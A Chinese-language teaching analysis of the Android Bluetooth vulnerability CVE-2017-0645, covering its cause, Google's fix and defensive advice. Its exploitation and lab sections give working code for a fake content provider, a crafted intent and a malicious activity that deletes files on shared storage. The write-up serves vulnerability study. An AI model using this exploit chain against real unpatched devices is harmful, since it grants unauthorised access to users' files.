蓝牙App漏洞系列分析之三CVE-2017-0645
字数 1390 2025-08-22 18:37:22
Android蓝牙App提权漏洞CVE-2017-0645深度分析与教学文档
0x01 漏洞概述
漏洞标识:CVE-2017-0645
BugID:A-35310991
严重等级:中危
漏洞类型:提权漏洞
影响版本:Android 6.0.1、7.0、7.1.1、7.1.2
漏洞本质
这是一个Android组件暴露漏洞,允许本地无权限的恶意应用构造仿冒的Provider,获取对特定文件的读写权限。攻击者可利用此漏洞写入SD卡或操作蓝牙共享数据库。
0x02 漏洞技术分析
漏洞触发流程
-
入口点:
BluetoothOppLauncherActivity的onCreate方法- 处理
android.btopp.intent.action.OPEN的Intent action - 将Intent转发给
BluetoothOppReceiver
- 处理
-
BluetoothOppReceiver处理:
- 从可控的Intent中获取Data URI
- 查询数据库获取传输信息
transInfo - 调用
BluetoothOppUtility.openReceivedFile
-
关键漏洞点:
public static void openReceivedFile(Context context, String fileName, String mimetype, Long timeStamp, Uri uri) { File f = new File(fileName); // fileName可控 Uri path = FileProvider.getUriForFile(context, "com.google.android.bluetooth.fileprovider", f); // 授予任何能处理该文件类型的应用读写权限 for (ResolveInfo resolveInfo : resInfoList) { String packageName = resolveInfo.activityInfo.packageName; context.grantUriPermission(packageName, path, Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION); } // 启动外部Activity处理文件 context.startActivity(activityIntent); }
漏洞限制条件
-
文件路径受限于
com.android.bluetooth.fileprovider的配置- 只能操作外部存储(/sdcard)目录下的文件
- 由
file_paths.xml中的external-path定义
-
需要构造特定的Provider返回伪造的文件信息
0x03 漏洞利用详解
攻击步骤
-
恶意应用声明:
- 声明能处理特定MIME类型的Activity
<activity android:name=".FakeViewActivity"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <data android:mimeType="xxx/yyy" /> </intent-filter> </activity> -
构造虚假Provider:
- 实现仿冒的
BluetoothOppProvider
<provider android:authorities="fake.bluetooth.provider" android:name=".FakeBluetoothOppProvider" android:exported="true" /> - 实现仿冒的
-
插入伪造数据:
ContentValues values = new ContentValues(); values.put(BluetoothShare._ID, 1); values.put(BluetoothShare.DIRECTION, BluetoothShare.DIRECTION_INBOUND); values.put(BluetoothShare._DATA, "/storage/emulated/0/target_file"); values.put(BluetoothShare.MIMETYPE, "xxx/yyy"); // 其他必要字段... m_contentResolver.insert(BluetoothShare.CONTENT_URI, values); -
触发漏洞:
Intent intent = new Intent(); intent.setComponent(new ComponentName("com.android.bluetooth", "com.android.bluetooth.opp.BluetoothOppLauncherActivity")); intent.setAction(Constants.ACTION_OPEN); intent.setData(Uri.parse("content://fake.bluetooth.provider/btopp/1")); startActivity(intent); -
恶意Activity处理:
public class FakeViewActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { Uri uri = getIntent().getData(); getContentResolver().delete(uri, null, null); // 删除目标文件 } }
替代利用方式
直接操作蓝牙共享数据库:
intent.setData(Uri.parse("content://com.android.bluetooth.opp/btopp/1"));
0x04 漏洞修复方案
Google修复措施:
-
URI验证:
- 确保Intent data始终为合法的
BluetoothOppProviderURI - 防止仿冒Provider的攻击
- 确保Intent data始终为合法的
-
权限限制:
- 撤销对第三方应用的写权限
- 仅授予第三方Activity的读权限
0x05 教学实验
实验环境搭建
- 受影响Android版本设备/模拟器(6.0.1-7.1.2)
- Android Studio开发环境
- 蓝牙功能启用
实验步骤
- 创建恶意应用项目
- 实现仿冒Provider
- 构造攻击Intent
- 观察文件权限变化
- 验证漏洞利用效果
关键代码实现
FakeBluetoothOppProvider.java:
public class FakeBluetoothOppProvider extends ContentProvider {
@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
MatrixCursor cursor = new MatrixCursor(new String[]{
BluetoothShare._ID,
BluetoothShare.DIRECTION,
BluetoothShare._DATA,
BluetoothShare.MIMETYPE,
BluetoothShare.STATUS
});
// 构造伪造数据
if(uri.getLastPathSegment().equals("1")) {
cursor.addRow(new Object[]{
1,
BluetoothShare.DIRECTION_INBOUND,
"/sdcard/target_file",
"xxx/yyy",
BluetoothShare.STATUS_SUCCESS
});
}
return cursor;
}
// 其他必要方法实现...
}
0x06 防御建议
-
开发者防护:
- 严格验证传入Intent的Data URI
- 使用签名权限保护暴露的组件
- 最小化grantUriPermission的使用
-
用户防护:
- 及时更新系统安全补丁
- 谨慎安装来源不明的应用
- 定期检查应用权限
-
系统级防护:
- 实现严格的URI权限验证
- 使用Android App沙箱限制
- 加强文件访问控制
0x07 扩展思考
- 类似组件暴露漏洞在Android生态中的普遍性
- ContentProvider安全设计的最佳实践
- 权限提升攻击的防御体系构建
本教学文档详细分析了CVE-2017-0645漏洞的技术原理、利用方法和防御措施,可作为Android安全研究和漏洞分析的典型案例。